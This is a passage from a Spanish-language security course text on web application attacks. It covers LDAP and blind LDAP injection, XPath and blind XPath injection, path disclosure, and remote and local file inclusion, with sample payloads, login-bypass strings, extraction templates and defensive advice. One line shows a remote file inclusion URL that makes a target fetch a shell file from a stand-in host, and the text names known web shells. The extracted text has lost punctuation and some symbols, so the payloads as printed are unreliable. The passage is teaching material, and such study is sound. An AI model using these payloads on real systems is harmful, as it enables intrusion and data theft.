servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

